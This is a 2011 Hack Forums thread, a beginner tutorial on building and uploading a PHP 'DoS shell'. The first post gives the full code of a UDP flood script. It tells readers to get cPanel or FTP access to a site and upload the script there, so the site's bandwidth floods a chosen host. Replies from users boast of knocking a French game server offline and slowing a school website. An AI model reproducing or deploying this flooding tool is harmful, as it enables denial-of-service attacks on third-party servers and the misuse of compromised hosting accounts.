Hack Forums
[Tut] How to make a dos shell [Tut] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: [Tut] How to make a dos shell [Tut] (/showthread.php?tid=1311959)

Pages: Pages 1 2


[Tut] How to make a dos shell [Tut] - Gone-KaPPaH - May 22, 2011

How to make a shell

Step 1
  • Get a cpanel or ftp of a site


Step 2
  • Get a Shell code

  • Use this code
    PHP Code

    <?php
    if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    $host = $_GET['host'];
    $rand = 53;
    set_time_limit(0);
    ignore_user_abort(FALSE);
    $exec_time = $_GET['time'];
    $time = time();
    print 
    "Flooded: $host<br><br>";
    $max_time = $time+$exec_time;
    for(
    $i=1;$i<3000;$i++){
       
    $out .= "X";
       }
       while(
    1){
       
    $packets++;
       if(
    time() > $max_time){
        break;
       }
      
    $rand = rand(1,65535);
       
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
       if(
    $fp){
        
    fwrite($fp, $out);
        
    fclose($fp);
       }
       }
    $pps = round($packets/$exec_time, 2);
    $megabytes = round(($packets*65)/1024, 2);
    $mbps = round($megabytes/$exec_time, 2);
    $gigabytes = round($megabytes/1024, 2);
    $gbps = round($gigabytes/$exec_time, 2);

    echo 
    "Execution time: " . $exec_time . " seconds.\n <br /> <br />";
    echo 
    "Packets:  $packets packets, averaging $pps packets/s.\n <br /> <br />";
    echo 
    "Megabytes: $megabytes MB averaging $mbps MB/s.\n <br /> <br />";
    echo 
    "Gigabytes:  $gigabytes GB averaging  $gbps GB/s.\n <br /> <br />";
       echo 
       
    '<form action="'.$surl.'" method=GET>
        <input type="hidden" name="act" value="phptools">
        Host: <br><input type=text name=host><br>
        Length (seconds): <br><input type=text name=time><br>
        <input type=submit value=Go></form>'
    ;
     }else{ echo 
      
    '<form action=? method=GET>
       <input type="hidden" name="act" value="phptools">
       Host: <br><input type=text name=host value=><br>
       Length (seconds): <br><input type=text name=time value=><br><br>
       <input type=submit value=Go></form>'
    ;
     }
     
    ?>

  • Open notepad and copy the code

  • Paste the code in the notepad save file as Shell.php must change the format to .php


Step 3
  • Take the php file you made

  • Upload the .php file you made using a ftp client or the default file manager in the cpanel


Congratz youve uploaded your first Dos shell should look like this

[Image: a589b04e211e929497636bb82b490dd9.png]

credits to- Perfectionist


* - Your mum - May 22, 2011

The link you provided is broken, or it wont work for just me? can you link another?


* - Gone-KaPPaH - May 22, 2011

(May 22, 2011 11:33 AM)ZIEX Wrote:  The link you provided is broken, or it wont work for just me? can you link another?

Yes my site is down probably being hit ill post the code one sec


* - Your mum - May 22, 2011

(May 22, 2011 11:37 AM)KaPPaH Wrote:  Yes my site is down probably being hit ill post the code one sec

Cheers mate, i'll try it now 😊


* - Gone-KaPPaH - May 22, 2011

(May 22, 2011 11:40 AM)ZIEX Wrote:  Cheers mate, i'll try it now 😊

Ok bro sorry for that mishap


* - Toscan - May 22, 2011

Is this powerful enough to make the victim, lagg?


* - Gone-KaPPaH - May 22, 2011

(May 22, 2011 11:50 AM)toscan Wrote:  Is this powerful enough to make the slave, lagg?

Depends on the site its hosted on


* - Toscan - May 22, 2011

Talking about a home connection.


* - Gone-KaPPaH - May 22, 2011

(May 22, 2011 11:58 AM)toscan Wrote:  Talking about a home connection.

Yes i know it all depends on how hard the shell can hit


* - Your mum - May 22, 2011

cheers i had to find a different host, but its working now.. its hosted on http://www.ziex.t15.org atm.
this is not the same as just one person pinging an address right? does it make a difference also if more than one person uses it to flood the same address?

EDIT - Confirmed took down a Hosted samp server in france that averages 50-100 ping up to 300's

[img]http://img204.imageshack.us/img204/463/samplu.jpg[/img]

thanks bro 🤗


* - masterbrain - May 22, 2011

i hosted on Spam i dossed my school site so hard that my site is 4 minuts offline lowl my school site going slow


* - Gone-KaPPaH - May 22, 2011

(May 22, 2011 12:08 PM)ZIEX Wrote:  cheers i had to find a different host, but its working now.. its hosted on http://www.ziex.t15.org atm.
this is not the same as just one person pinging an address right? does it make a difference also if more than one person uses it to flood the same address?

It shouldnt make a difference and it uses the bandwith of the host to send packets to the ip


* - Toscan - May 22, 2011

KaPPah, Look at your site thread, I made those Avatars you asked for.


* - sĸid - May 22, 2011

Ahaha Win!! nice share Kappah


* - mec - May 23, 2011

this is cool. thank you for this

http://the-mec.com/h4ppy_sh1t/smiley.php